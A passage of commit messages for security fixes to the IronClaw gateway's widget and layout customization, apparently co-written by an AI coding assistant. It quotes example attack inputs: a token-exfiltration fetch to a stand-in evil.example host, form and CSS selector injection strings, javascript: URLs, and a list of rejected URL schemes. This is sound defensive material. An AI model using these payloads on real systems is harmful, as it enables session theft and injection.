exercised the *widget* path of the same selectors — neither would have
caught a built-in-tab regression or a wrong DOM id.
New scenario:
`test_layout_hidden_built_in_tab_and_image_upload_disabled`
* Writes a `.system/gateway/layout.json` with `tabs.hidden:
["routines"]` (a built-in, on purpose — the previous bug was that
only widget tabs could be hidden, so the built-in is exactly what
the selector regression broke) and `chat.image_upload: false`.
* Drives the write directly via `/api/memory/write` rather than chat.
The customization path is independent of the agent loop, and
side-stepping the mock LLM keeps the test fast and decoupled from
the canned-response set.
* Reloads the gateway in a fresh browser context so `assemble_index`
re-runs and `window.__IRONCLAW_LAYOUT__` carries the new flags.
* Asserts via `getComputedStyle` (not the inline `style` attribute,
so the assertion survives a future refactor that swaps
`style.display = 'none'` for a class toggle):
- The `routines` built-in tab has `display: none`.
- `chat`, `memory`, and `settings` built-in tabs are still visible
(catches accidental over-matching by a future selector change).
- `#attach-btn` has `display: none`.
- `#image-file-input.disabled === true`. Asserting BOTH the visible
button hide AND the underlying input disable is the contract — a
widget that calls
`document.getElementById('image-file-input').click()` must NOT be
able to bypass the operator's intent.
* Each "tab disappeared from the DOM entirely" / "input doesn't exist"
case has a distinct error message so a future `index.html`
restructure produces an actionable failure rather than a confusing
null-deref.
Also added `.system/gateway/layout.json` to `_CUSTOM_PATHS` so
`_wipe_customizations` clears it between tests in the shared
session-scoped server fixture.
Could not run the test locally — the e2e suite requires a libsql
ironclaw binary build (~10 min) plus a Python venv with Playwright,
neither of which is set up in this environment. Test is written
against the same `_open_authed_page` / `_CUSTOM_PATHS` /
`memory/write` patterns the rest of the file uses, and the DOM ids
were grepped out of `crates/ironclaw_gateway/static/index.html`
directly (`#attach-btn`, `#image-file-input`,
`<button data-tab="routines">`). First real exercise will be in CI.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): refuse customized index in multi-tenant mode (PR #1725 blocker)
Cross-tenant cache leak — `frontend_html_cache` is a single
`Arc<RwLock<Option<FrontendHtmlCache>>>` per `GatewayState` with no
user dimension, and `build_frontend_html` reads `state.workspace`
directly. In multi-tenant deployments
(`resolve_workspace(&state, &user)` driven by `workspace_pool`) this
is unsafe in two compounding ways:
1. **Latent**: even without the cache, `build_frontend_html` reading
`state.workspace` ignores the per-user pool entirely. If the
single-user fallback workspace is also populated, every user sees
that one global workspace's `layout.json` / widgets — one
operator's branding, hidden tabs, and registered widgets leak to
every other tenant on the same gateway.
2. **Cache pin**: even if (1) were fixed, the cache key is just
`(.system/gateway/layout.json mtime, .system/gateway/widgets/
mtime)` against the global workspace — there is no `user_id` in
the key. Once the slot is populated, every subsequent `GET /` hits
the same HTML.
Root cause: the customization assembly path is fundamentally
single-tenant. `index_handler` (`GET /`) is the unauthenticated
bootstrap route — no user identity is available at request time, so
there is no way to resolve the *correct* per-user workspace inside
`build_frontend_html`. The reviewer flagged this as a cache bug; it's
actually an architectural mismatch that the cache makes visible.
**Fix:** in multi-tenant mode (`workspace_pool` set),
`build_frontend_html` short-circuits with `return None` BEFORE
reading `state.workspace` and BEFORE the cache write at the bottom of
the function. The embedded default `INDEX_HTML` is then served to
every user, the static CSP layer applies unchanged (no inline
scripts, no nonce needed), and the cache slot stays empty so it
cannot pin any leaked HTML.
This is the minimal fix that makes the gateway safe to ship in
multi-tenant mode. Per-user customization in multi-tenant deployments
will land in a follow-up PR via a JS-side `fetch('/api/frontend/layout')`
after auth — that endpoint already exists and already routes through
`resolve_workspace(&state, &user)`, so it returns the right workspace.
The layout-config IIFE in `crates/ironclaw_gateway/static/app.js`
already reads `window.__IRONCLAW_LAYOUT__`, which a future change can
populate from that fetch instead of from server-side HTML injection.
Documented the constraint in the doc comment on `build_frontend_html`
so future contributors understand WHY the early return is there
(hands-tied at the unauthenticated route, not laziness) and what the
correct path forward looks like.
Regression test:
`test_build_frontend_html_returns_none_in_multi_tenant_mode` (gated
on `feature = "libsql"` for the workspace backend). The test seeds a
*global* workspace with a hostile-looking layout
(`{"branding":{"title":"TENANT-LEAK-BAIT"}}`) AND a `WorkspacePool`,
attaches both to the GatewayState via `Arc::get_mut`, and asserts:
1. `build_frontend_html` returns `None` — if it ever reads
`state.workspace` again in multi-tenant mode, the bait title
would land in the assembled HTML and this test would fail loudly
with an actionable diagnostic.
2. `state.frontend_html_cache` slot is still `None` after the call
— the early return must short-circuit BEFORE the cache write at
the bottom of the function, otherwise a poisoned entry would
serve the leaked HTML to subsequent requests even after the bug
is fixed.
Both contracts are independent — a future regression that breaks one
without the other is still caught.
Quality gate:
- `cargo fmt` clean
- `cargo clippy --no-default-features --features libsql --tests` zero
warnings
- `cargo test --no-default-features --features libsql --lib channels::web`
— 335 passed (was 334; +1 for the new multi-tenant guard test)
- `cargo test -p ironclaw_gateway` — 52 unit + 1 doctest passed
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): address PR #1725 Copilot review (6 findings)
Six new inline findings from the latest Copilot review pass on
PR #1725. All verified against the source — no false positives this
round. Grouped by file:
**1+2. Widget directory names not validated against `is_safe_segment`**
(`src/channels/web/handlers/frontend.rs`). Both `load_widget_manifests`
and `load_resolved_widgets` fed `entry.name()` straight into
`read_widget_manifest`, which composed `{WIDGETS_DIR}{name}/manifest.json`
and friends without checking the segment. Any filesystem-backed
`Workspace` implementation that doesn't normalize `.`/`..`/backslash/NUL
components would have allowed a widget directory called `..` (or with
embedded separators) to escape the `.system/gateway/widgets/` subtree.
The natural chokepoint is `read_widget_manifest` itself — both call
sites already route through it for the `manifest.id == directory_name`
check, so adding a single `is_safe_segment(directory_name)` guard at
the top of that function fixes both call paths at once. Same validator
the public `/api/frontend/widget/{id}/{*file}` endpoint already
enforces, so widget *discovery* is now in line with widget *serving*.
Regression test `skips_widget_with_unsafe_directory_name` covers `..`,
`.`, embedded `/`, embedded `\`, and embedded NUL — five distinct
rejection vectors. Probes `read_widget_manifest` directly so it
covers both call sites with one tokio test.
**3. `layout_has_customizations` over-triggers on empty branding colors**
(`src/channels/web/server.rs`). Treating `branding.colors.is_some()`
as a customization forced the per-response nonce CSP path even when
both `primary` and `accent` were `None` or whitespace-only (which
the `is_safe_css_color` validator strips at injection time). Replaced
with a `has_branding_colors` check that requires at least one
trimmed-non-empty color field, mirroring what `BrandingConfig::to_css_vars`
actually emits. No security impact, just removes a pointless slow
path that produced zero effective branding output.
**4. FRONTEND.md "eval-equivalent constructs" claim was factually wrong**
(`src/workspace/seeds/FRONTEND.md:71`). The Security model section
told operators that widgets can use "`eval`-equivalent constructs that
don't trip the CSP". The gateway CSP does NOT include `'unsafe-eval'`,
so `eval()`, `new Function()`, and string-form `setTimeout` /
`setInterval` are all blocked by the browser. Rewrote the sentence to
describe what widgets *actually* have access to: `IronClaw.api.fetch`
against same-origin endpoints, full DOM mutation, event listeners on
the chat input, and dynamic `import()` from any origin allowed by the
gateway's `script-src` (`'self'`, jsDelivr, cdnjs, esm.sh). The CSP
narrows the *shape* of attacks a widget can mount, not the blast
radius — the real trust boundary is still `memory_write` access to
the workspace.
**5. Bare-string `replace(NONCE_PLACEHOLDER, ...)` could mutate widget bodies**
(`src/channels/web/server.rs`). `index_handler` previously did
`html.replace(NONCE_PLACEHOLDER, &nonce)` to swap the per-response
nonce into the assembled HTML. A widget author who wrote the literal
string `__IRONCLAW_CSP_NONCE__` in their own JS — in a comment, log
line, test fixture, or string constant — would have had their source
silently mutated into a per-request nonce, breaking the widget in a
way that's nearly impossible to debug.
Extracted `stamp_nonce_into_html(html, nonce)` helper that targets
the full attribute form `nonce="__IRONCLAW_CSP_NONCE__"` instead of
the bare placeholder. The double-quoted sentinel is unambiguous in
HTML context — it can never accidentally match free text in a JS
module body, a comment, or a JSON payload. Two regression tests:
- `test_stamp_nonce_into_html_replaces_attribute` — vanilla
happy path, attribute on a `<script>` tag is rewritten.
- `test_stamp_nonce_into_html_does_not_mutate_widget_body` —
builds a fragment with TWO sentinels: one in the legitimate
attribute (must be replaced) and one in the script body as a
`const SENTINEL = "..."` constant (must NOT be replaced).
Asserts the attribute was rewritten, the body sentinel
survived intact, and exactly one occurrence of the placeholder
remains in the result. A future regression to a bare-string
replace would drop the body occurrence count to 0 and fail
loudly with the diff.
**6. `mock_llm._normalize_tool_calls` would crash on non-dict list elements**
(`tests/e2e/mock_llm.py`). The function called `item.get(...)` on
every list element with no shape check. A future `TOOL_CALL_PATTERNS`
entry that accidentally returned a list of tuples / strings / `None`
would crash mid-request with an opaque
`AttributeError: 'tuple' object has no attribute 'get'` deep inside
aiohttp's request handler, taking the whole mock server down for
every test in the same `pytest` invocation.
Added `isinstance` guards on both the list element AND its
`arguments` field, plus a similar guard on the single-call branch.
Each raises a clear `TypeError` naming the offending tool, the list
index, and the unexpected type — so a malformed pattern fails at the
exact line of the offense rather than as collateral damage three
frames deep in aiohttp.
Quality gate:
- `cargo fmt` clean
- `cargo clippy --no-default-features --features libsql --tests` zero
warnings
- `cargo test --no-default-features --features libsql --lib channels::web`
— 338 passed (was 335; +3 for the new tests:
`test_stamp_nonce_into_html_replaces_attribute`,
`test_stamp_nonce_into_html_does_not_mutate_widget_body`,
`skips_widget_with_unsafe_directory_name`)
- `cargo test -p ironclaw_gateway` — 52 unit + 1 doctest passed
- `python3 -m py_compile tests/e2e/mock_llm.py` clean
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): address PR #1725 serrrfirat round 2 (multi-tenant CSS + URL validation)
Two new findings from the latest serrrfirat review pass on PR #1725.
A third finding (NONCE_PLACEHOLDER global replace mutating widget
bodies) was already resolved in 56c43f56 — `stamp_nonce_into_html` is
attribute-targeted with regression tests `test_stamp_nonce_into_html_
replaces_attribute` and `test_stamp_nonce_into_html_does_not_mutate_
widget_body` already locking the contract.
**1. Medium — `css_handler` missing multi-tenant guard**
(`src/channels/web/server.rs`). When I fixed `build_frontend_html`
in b9da40e7 to refuse the customization assembly path under
`workspace_pool.is_some()`, I missed the sibling `css_handler` —
which still read `state.workspace` unconditionally to layer
`.system/gateway/custom.css` onto `/style.css`. Same shape as the
index leak: in multi-tenant mode the CSS handler would serve one
operator's custom.css to every other tenant via the
unauthenticated `/style.css` bootstrap route. Now mirrors the
sibling guard:
let css = if state.workspace_pool.is_some() {
Cow::Borrowed(assets::STYLE_CSS) // refuse overlay path
} else {
// ... existing single-tenant overlay path
};
The early return bypasses the workspace read entirely, so the
hot path stays allocation-free (`Cow::Borrowed`). Per-user CSS
overrides can ride a future authenticated `/api/frontend/custom-css`
endpoint that routes through `resolve_workspace(&state, &user)`,
mirroring the same follow-up plan for `/api/frontend/layout`.
Regression test `test_css_handler_returns_base_in_multi_tenant_mode`
(libsql-gated): seeds a global workspace with hostile-looking
custom.css containing the literal string `TENANT-LEAK-BAIT`,
attaches both the workspace AND a `WorkspacePool` to the
GatewayState via `Arc::get_mut`, hits `/style.css` via
`tower::ServiceExt::oneshot`, and asserts:
1. The bait marker is absent from the response body (catches a
future regression that re-reads `state.workspace` in
multi-tenant mode — the leaked content would land in the
diagnostic).
2. The response body equals `assets::STYLE_CSS` byte-for-byte
(catches a subtler regression where the leak content is
dropped but the multi-tenant path still does the owned
`format!`, breaking the borrowed hot-path optimization).
Both contracts are independent — a future regression breaking
either alone is still caught.
**2. Medium — `logo_url` / `favicon_url` not validated**
(`crates/ironclaw_gateway/src/layout.rs`). `BrandingConfig` had
defense-in-depth for color values via `is_safe_css_color`, but
URL fields accepted arbitrary strings. There's no current consumer
in the `app.js` IIFE (the layout-config block doesn't read them
yet), so no current vulnerability — but they're exposed via
`GET /api/frontend/layout` and the `window.__IRONCLAW_LAYOUT__`
JSON island, so the first consumer that renders them as
`<img src="…">` or `<link rel="icon" href="…">` would inherit a
latent footgun: `javascript:` URI XSS, `data:` URI payload stash,
tracking-pixel exfiltration via attacker-controlled domains.
Added `is_safe_url(value: &str) -> bool` validator (`pub(crate)`,
mirroring `is_safe_css_color`) that accepts:
- HTTPS / HTTP absolute URLs (HTTP allowed for intranet/dev
usability — gateway enforces TLS at the network layer)
- Site-relative paths (`/static/logo.png`) — must start with a
single `/`, NOT `//` (protocol-relative URLs are
scheme-flippable in the browser URL parser and historically a
CSP-bypass source)
And rejects:
- `javascript:`, `data:`, `vbscript:`, `file:`, `blob:`, any
other non-HTTP(S) scheme
- HTML attribute breakout vectors (`<`, `>`, `"`, `'`, backtick,
backslash)
- Control chars (NUL, newline, CR, tab) for copy-paste
smuggling defense
- Empty / whitespace-only / > 2048 bytes (matches the de-facto
Chrome / Apache URL length cap)
Added `BrandingConfig::safe_logo_url(&self) -> Option<&str>` and
`safe_favicon_url(&self) -> Option<&str>` getters that return
`None` when the underlying field fails validation. This is the
contract any future consumer must use — routing through the
getter keeps validation at the type layer so a future caller
can't accidentally bypass it by reading the raw `Option<String>`
field.
Updated `layout_has_customizations` in server.rs to call the new
getters instead of `b.logo_url.is_some()` / `b.favicon_url.is_some()`,
mirroring the precedent set for branding colors: a `layout.json`
that only sets `logo_url: "javascript:alert(1)"` (and nothing
else) no longer triggers the customized HTML path because the
value gets dropped at the validator. Symmetric with how empty
branding colors are gated.
Tests in `layout::tests`:
- `test_is_safe_url_accepts_common_forms` — HTTPS, HTTP,
site-relative, leading/trailing whitespace
- `test_is_safe_url_rejects_injection_vectors` — full classifier
sweep: `javascript:` (case-insensitive), `data:`, `vbscript:`,
`file:`, `blob:`, protocol-relative `//`, every HTML breakout
char, every control char, empty, whitespace-only, length cap
(asserts both the 2049-char rejection AND the 2048-char limit
boundary), no-scheme bare hostname, single `/` root path
- `test_branding_safe_logo_url_filters_invalid` — round-trip
contract: safe values pass through, hostile values return None,
absent values return None
- `test_branding_safe_favicon_url_filters_invalid` — same
contract for the parallel field so a future consumer can never
accidentally route favicon through a bypass while logo is
correctly validated
Quality gate:
- `cargo fmt` clean
- `cargo clippy --no-default-features --features libsql --tests`
zero warnings
- `cargo test -p ironclaw_gateway` — 56 unit + 1 doctest passed
(was 52; +4 for the URL validator tests)
- `cargo test --no-default-features --features libsql --lib channels::web`
— 339 passed (was 338; +1 for the css_handler multi-tenant
guard test)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): address PR #1725 paranoid review round 3 (7 findings)
Seven items from serrrfirat's third paranoid-architect pass on
PR #1725. Two HIGH (token exfil + chat-renderer DOM bypass), three
MEDIUM (widget id CSS injection + admin role on layout write + URL
field visibility), one LOW (workspace path leak in 404), and one test
coverage gap (CSP nonce e2e). Five "verified fixed" items from the
audit need no code change — replied separately on the audit thread.
**P-JS2 (HIGH) — IronClaw.api.fetch same-origin guard**
(`crates/ironclaw_gateway/static/app.js`). The widget API's `fetch`
method injected the session `Authorization: Bearer <token>` into
*any* URL, including absolute cross-origin URLs. A widget calling
`IronClaw.api.fetch('https://evil.example/steal')` would have
exfiltrated the user's session token. Now resolves `path` against
`window.location.origin` and rejects with a `TypeError` if the
resulting origin differs from the gateway's. Same-origin and
relative paths still work; site-relative `/api/foo`, `https://<this-host>/api/foo`,
and other intra-origin shapes pass through unchanged. The error
message names both the requested origin and the expected origin so
the widget author sees the misuse at the offending call site.
**P-JS1 (HIGH) — sanitize after registerChatRenderer callback**
(`crates/ironclaw_gateway/static/app.js`). `renderMarkdown` runs
`sanitizeRenderedHtml` (DOMPurify) on its output BEFORE
`upgradeStructuredData` invokes registered chat renderers. A
renderer's `render(contentEl, ...)` callback receives the live
`.message-content` DOM element and can call
`contentEl.innerHTML = '<form action="https://attacker">...'`,
bypassing the sanitization step entirely. CSP blocks `<script>`
execution either way, but form / iframe / object / clickjack-overlay
injection still works. Now re-runs `sanitizeRenderedHtml` on
`contentEl.innerHTML` after the renderer returns. DOMPurify is
idempotent on already-safe HTML so the cost on the happy path is
bounded by the sanitizer's walk of the post-renderer subtree.
**P-W4 + P-H10 (MEDIUM) — widget id charset validation**
(`crates/ironclaw_gateway/src/layout.rs`,
`src/channels/web/handlers/frontend.rs`). `scope_css` raw-interpolates
the widget id into `[data-widget="<id>"]` with no escape pass; a
manifest id like `x"],.evil{color:red}[x` would close the attribute
selector and inject arbitrary CSS rules. The HTML attribute side is
already protected by `escape_html_attr`, but defense-in-depth at the
type level closes both vectors and protects every future call site
that interpolates the id without thinking about it.
Added `is_safe_widget_id(s) -> bool` (`pub` in `layout.rs`,
re-exported from `lib.rs`): `^[a-zA-Z0-9][a-zA-Z0-9._-]*$`, ≤64
chars. The first-char-must-be-alphanumeric rule means an id can't
look like an option flag (`-foo`), a hidden file (`.foo`), or a
separator fragment. Enforced at the chokepoint
`read_widget_manifest` in `handlers/frontend.rs` alongside the
existing `is_safe_segment(directory_name)` check, so a hostile
manifest is rejected at load time before any rendering layer (CSS,
HTML, path composition) sees the id.
The reject-then-mismatch-check ordering matters: a hostile id is
logged as "unsafe charset" rather than as a directory mismatch,
which is the more useful diagnostic. Two new test layers:
- `is_safe_widget_id_accepts_existing_fixtures` — every widget id
used in test fixtures and FRONTEND.md examples must remain
valid. Narrowing the regex after these have shipped would be a
breaking change, so this test pins the contract.
- `is_safe_widget_id_rejects_injection_payloads` — full sweep:
serrrfirat's CSS-selector breakout payload, HTML attribute
breakouts, path traversal vectors, whitespace, control chars,
non-ASCII, leading non-alphanumeric, empty, and the 64-char
boundary (64 passes, 65 fails).
- `widget_loader::skips_widget_when_manifest_id_fails_charset_check`
— end-to-end regression: write a manifest with the CSS-selector
breakout id under a directory name that DOES pass
`is_safe_segment`, and verify both `read_widget_manifest` and
`load_resolved_widgets` reject it. Catches a future regression
that moves the check away from the chokepoint.
**P-H9 (MEDIUM) — AdminUser on layout write endpoint**
(`src/channels/web/handlers/frontend.rs`).
`frontend_layout_update_handler` used `AuthenticatedUser` (any
role), so a `member`-role token holder could rewrite the global
layout in single-tenant mode — changing branding, hiding tabs,
disabling widgets for every user of the gateway. Switched to
`AdminUser`. In multi-tenant mode this still scopes per-user via
`resolve_workspace`, so admins configuring their own tenant get the
expected behavior; member tokens are now denied at the role gate
the same way they're denied for user management and secrets
management. `AdminUser` is a `pub struct AdminUser(pub UserIdentity)`
so the existing `&user` argument to `resolve_workspace` works
without changes — added it to the existing `use ...auth::{...}`
import alongside `AuthenticatedUser`.
**P-L3 (MEDIUM) — sanitize URL fields on serialize + downgrade
visibility** (`crates/ironclaw_gateway/src/layout.rs`).
`safe_logo_url` / `safe_favicon_url` getters existed with proper
`is_safe_url` validation, but the underlying `pub Option<String>`
fields were directly accessible — both for Rust callers (who could
read them by name without going through the validator) and for the
JS side via the `window.__IRONCLAW_LAYOUT__` JSON island, which
serializes the raw struct. A future consumer rendering
`<a href="${layout.branding.logo_url}">` would inherit the
`javascript:` URI XSS that the safe getter is supposed to prevent.
Two-part fix:
1. Downgraded `logo_url` and `favicon_url` to `pub(crate)`. All
existing constructors are intra-crate (verified by grep), so
no public API breakage. External Rust callers must now route
through the safe getters by construction.
2. Added `skip_unsafe_url` serde predicate
(`#[serde(skip_serializing_if = "skip_unsafe_url")]`) that
drops the field from JSON output when the value is missing,
empty, or fails `is_safe_url`. Closes the wire-format leg: even
if a future intra-crate caller bypasses the getters and writes
a hostile value into the field directly, the JSON shipped to
the JS side and to `GET /api/frontend/layout` simply omits the
field entirely. No `null`, no `javascript:` payload, nothing
for a future consumer to inadvertently render.
The first iteration tried `serialize_with` for the same job, but
that runs *after* `skip_serializing_if` so a hostile value
serialized as `null` instead of being skipped. Predicate-side
filtering is the correct shape — `skip_unsafe_url` returns `true`
on every "drop the field" branch and `false` only when the value is
present-and-safe.
Two new tests pin both the wire format and the happy path:
- `branding_serialize_drops_hostile_urls` — serializes a config
with `javascript:` and `data:` URIs and asserts the resulting
JSON contains neither `logo_url` nor `favicon_url` keys, AND
that the hostile payload strings don't appear anywhere in the
output.
- `branding_serialize_preserves_safe_urls` — round-trip check:
`https://example.com/logo.png` and `/favicon.ico` survive
serialization unchanged so legitimate operator branding still
reaches the JS side.
**P-H1 (LOW) — strip workspace path from widget 404 error**
(`src/channels/web/handlers/frontend.rs`). The handler returned
`format!("Widget file not found: {path}")`, leaking the resolved
`.system/gateway/widgets/{id}/{file}` path back to the caller. That
gives an attacker a free oracle for "what directories exist" inside
the workspace. Now returns the generic message
`"Widget file not found"` and logs the full path internally via
`tracing::warn!` so debugging a 404 still works.
**Test coverage gap #4 — e2e CSP nonce verification**
(`tests/e2e/scenarios/test_widget_customization.py`). The Rust
side has `test_stamp_nonce_into_html_*` unit tests pinning the
substitution contract, but no e2e test exercised the full pipeline
from workspace mutation through `index_handler` through nonce
stamping to the live HTTP response. Added
`test_customized_index_carries_csp_nonce_on_every_inline_script`:
1. Writes `.system/gateway/layout.json` with a branding title to
force the customized HTML path.
2. Hits `GET /` directly via `httpx` (Playwright would consume
the nonce at the JS layer; raw HTTP lets us read the
`Content-Security-Policy` header byte-for-byte).
3. Asserts the response carries a `Content-Security-Policy`
header with a `'nonce-<32-hex>'` source in `script-src` (32
chars = 16 random bytes hex-encoded; pinning the length
catches a future regression that drops to 8 bytes).
4. Walks every `<script>` opening tag in the response body and
asserts it carries the same nonce attribute.
5. Asserts the placeholder sentinel `__IRONCLAW_CSP_NONCE__` is
entirely absent from the body — if a future regression breaks
the substitution helper, the placeholder would leak through
and the browser would reject every script as nonce-mismatch.
Catching this here gives a clearer diagnostic than "blank
page in Chrome".
Quality gate:
- `cargo fmt` clean
- `cargo clippy --no-default-features --features libsql --tests`
zero warnings
- `cargo test -p ironclaw_gateway` — 60 unit + 1 doctest passed
(was 56; +4: 2 widget id charset tests + 2 URL serialization
tests)
- `cargo test --no-default-features --features libsql --lib channels::web`
— 340 passed (was 339; +1 for the widget id charset regression
test in handlers/frontend.rs::tests::widget_loader)
- `python3 -m py_compile tests/e2e/scenarios/test_widget_customization.py`
clean (e2e suite needs Playwright + libsql binary build to
actually run; new test will get its first real exercise in CI)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): address PR #1725 round 4 (e2e nonce + tab id escape + cache TOCTOU doc)
Three items from the latest review pass on PR #1725.
**1. e2e CSP nonce test was broken**
(`tests/e2e/scenarios/test_widget_customization.py`). Copilot caught
that my new
`test_customized_index_carries_csp_nonce_on_every_inline_script`
regex `<script\b[^>]*>` matches *every* `<script>` tag, including the
9 baseline `<script src="...">` tags from `static/index.html`
(i18n bundles, theme-init.js, app.js, marked, DOMPurify). Those are
external scripts authorized by `script-src 'self' <CDNs>` in the
gateway CSP and deliberately do NOT carry a nonce — the test as
written would have failed on every CI run, not just on regressions.
Fix: split the regex output into all-script-tags vs
inline-script-tags by filtering on the absence of a `src=`
attribute, then nonce-check the inline ones only. Added a sanity
assertion that at least one inline `<script nonce=...>` exists, so
a future regression that drops the layout JSON island entirely
fails this test instead of slipping through. The diagnostic on
failure now lists every `<script>` tag seen so debugging is
self-contained.
**2. CSS.escape on `tabs.hidden` tabId interpolation**
(`crates/ironclaw_gateway/static/app.js`). serrrfirat flagged the
layout IIFE's `tabs.hidden` loop, which raw-interpolates each
workspace-supplied `tabId` into
`'.tab-bar button[data-tab="' + tabId + '"]'`. A hostile id like
`x"],.evil[x` would close the attribute selector and inject an
arbitrary CSS attribute probe. After P-H9 the layout-write endpoint
is admin-only, so the realistic exploit shape is admin-on-self —
but a one-line `CSS.escape()` wrap removes the vector entirely. An
admin who pastes a workspace doc fragment into `layout.json`
shouldn't be able to footgun themselves into a side-channel CSS
probe. CSS.escape is a stable browser API since 2015 and ships in
every browser the gateway supports; the `typeof CSS !== 'undefined'`
guard is belt-and-braces against a future runtime where the global
isn't present.
Same review item also flagged `default_tab` "flowing through
`switchTab()` which uses `querySelector('[data-tab="' + tab + '"]')`".
That part is a false positive — `switchTab` does NOT interpolate
`tab` into a selector string. It does
`b.getAttribute('data-tab') === tab` (string equality) on every
button, and `p.id === 'tab-' + tab` (string equality) on every
panel. Neither path is a CSS selector interpolation, so a hostile id
can't alter the selector match. Added a defensive `NOTE` comment at
`switchTab` so a future contributor doesn't "helpfully" rewrite
either branch into a `querySelector`-based form. If that ever needs
to happen, the comment tells them to wrap `tab` in `CSS.escape()`
first.
**3. Document the frontend-cache TOCTOU window**
(`src/channels/web/server.rs`). serrrfirat flagged the gap between
`compute_frontend_cache_key` (one `Workspace::list` call) and the
slow-path `read_layout_config` + `load_resolved_widgets` data
reads, which are separate workspace operations. A workspace write
landing between the two can produce a cache entry whose HTML was
assembled from a layout newer than the key it's stored under.
The reviewer explicitly accepted this as a v1 tradeoff
("acceptable for v1, but worth documenting as a known tradeoff").
No code change — documented the window in detail on the
`build_frontend_html` doc comment, including:
- what the window IS (read+key+store sequence is non-atomic)
- why it's bounded (next request after writes settle recomputes
the key, sees the new fingerprint, replaces the entry — always
self-correcting within one rebuild round-trip)
- why making it atomic isn't worth it (would require a
workspace-level read lock the rest of the gateway doesn't take,
punishes the much-hotter cache-hit path with extra coordination)
- what would warrant changing the calculus (workspace version
generation counter, not a lock around this function — if a
realistic workload starts firing layout writes at the cadence
required to keep the entry permanently stale, which today none
do because layout writes are rare and operator-initiated)
The doc paragraph is in the same paragraph cluster as the existing
multi-tenant safety doc, so the next person reading
`build_frontend_html` sees both invariants together.
Quality gate:
- `cargo fmt` clean
- `cargo clippy --no-default-features --features libsql --tests`
zero warnings
- `cargo test --no-default-features --features libsql --lib channels::web`
— 340 pass (unchanged; the JS and doc changes don't add new Rust
test surface)
- `cargo test -p ironclaw_gateway` — 60 unit + 1 doctest pass
- `python3 -m py_compile tests/e2e/scenarios/test_widget_customization.py`
clean
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): tighten widget id validation in serving endpoint (PR #1725)
The `/api/frontend/widget/{id}/{*file}` handler validated the id with
`is_safe_segment`, which only blocks separators and `.`/`..`. That left
quotes, brackets, whitespace, newlines, and other shape-of-path payloads
acceptable — none could ever resolve to a real widget (the loader rejects
them at manifest time via `is_safe_widget_id`), but they would still
inject hostile content into the `workspace_path` field of the warn! log
and produce surprising `.system/gateway/widgets/<weird>/...` workspace
reads.
Lock the serving endpoint to the same `is_safe_widget_id` charset the
loader/runtime contract already enforces, and apply it per-component to
the file wildcard so neither id nor any file segment can drift wider
than what `read_widget_manifest` accepts.
Removed the now-unused `is_safe_relative_path` helper and its tests;
added a regression test that pins both the accepted (`index.js`,
`assets/icon.svg`, `i18n/en/strings.json`) and rejected (`../`, `./`,
backslash, leading dash/dot, whitespace, quote, bracket, NUL) shapes.
Addresses review comment r3053351457.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): clarify SSE forwarding scope + preserve apostrophes in inline JSON (PR #1725)
Two findings from the PR review.
1. SSE `onmessage` is intentionally NOT wrapped (only named events are
forwarded to widget handlers). The gateway never emits SSE frames
without an `event:` field — every frame carries a typed name (see
`SseEvent` in `src/channels/web/types.rs`) — so wrapping `onmessage`
would invent a code path with no producer. Add a NOTE block at the
wrapper site explaining the contract so widget authors aren't
surprised when generic `message` events don't reach them, and point
them at `IronClaw.api.on('<event_type>', handler)` instead.
2. `_findJsonCandidates` used `raw.replace(/'/g, '"')` to upgrade
Python-style single-quoted JSON-like input. That blanket regex
mangled apostrophes inside already-double-quoted string values:
`{"name": "it's"}` → `{"name": "it"s"}` → `JSON.parse` failure.
Replace the regex with `_normalizeJsonQuotes`, a string-state-aware
walker that mirrors `_findBalancedEnd`'s tracking. It only rewrites
single quotes that act as string delimiters; single quotes that
appear inside a double-quoted string literal are preserved verbatim.
Honors backslash escapes so `"she said \"hi\""` doesn't terminate
early.
`{'k': 'v'}` → `{"k": "v"}`
`{"name": "it's"}` → `{"name": "it's"}`
Addresses review comments r3056441900 and r3056442287.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): align widget discovery validator + 3 doc/defense fixes (PR #1725)
Four findings from the latest review pass.
1. `read_widget_manifest` validated `directory_name` with `is_safe_segment`,
but `manifest.id == directory_name` is enforced later AND `manifest.id`
itself must pass `is_safe_widget_id`. Accepting a wider charset at the
discovery step than the loader/runtime contract allows only surfaces
widgets that can never resolve. Switched discovery to `is_safe_widget_id`
so discovery, serving (`frontend_widget_file_handler`), and `manifest.id`
validation all use the same canonical check. Removed the now-dead
`is_safe_segment` helper and its tests; expanded
`skips_widget_with_unsafe_directory_name` to also exercise the wider
charset (`-flag`, `.hidden`, quoted/bracketed/whitespace names) that the
previous validator wrongly permitted.
2. `src/workspace/seeds/FRONTEND.md` referenced `is_safe_segment` /
`is_safe_relative_path` — both are gone now. Updated the security-model
bullet to point to `is_safe_widget_id` (the single canonical validator,
defined in `crates/ironclaw_gateway/src/layout.rs`).
3. `assemble_index` always emits `window.__IRONCLAW_LAYOUT__`, which is
pinned by `test_assemble_index_no_customizations`, but the production
call site (`build_frontend_html`) short-circuits via
`layout_has_customizations()` so the default-bundle branch is only
reachable from tests. Added a doc-comment block at the top of
`assemble_index` explaining the production gate so future maintainers
don't read the always-injected layout JSON as a contradiction.
4. `window.IronClaw = window.IronClaw || {};` honored any pre-existing
value on `window.IronClaw`. The gateway HTML loads `app.js` before any
deferred widget module and has no inline scripts that touch the
namespace, so this isn't an exploitable bug today, but the `|| {}` form
would silently honor a hostile pre-init via a future template change
or a stray browser extension. Replaced with
`Object.defineProperty(window, 'IronClaw', { value: {}, writable: false,
configurable: false, enumerable: true })` so the binding is locked: a
hostile widget can still mutate properties on the fixed object (same
authority every other widget already has) but cannot replace the entire
`IronClaw` namespace. Defense in depth, with a comment explaining why.
Addresses review comments r3057150364/415/449/466/487 (×5 dupes),
r3057572833, r3057573554, r3057574018.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
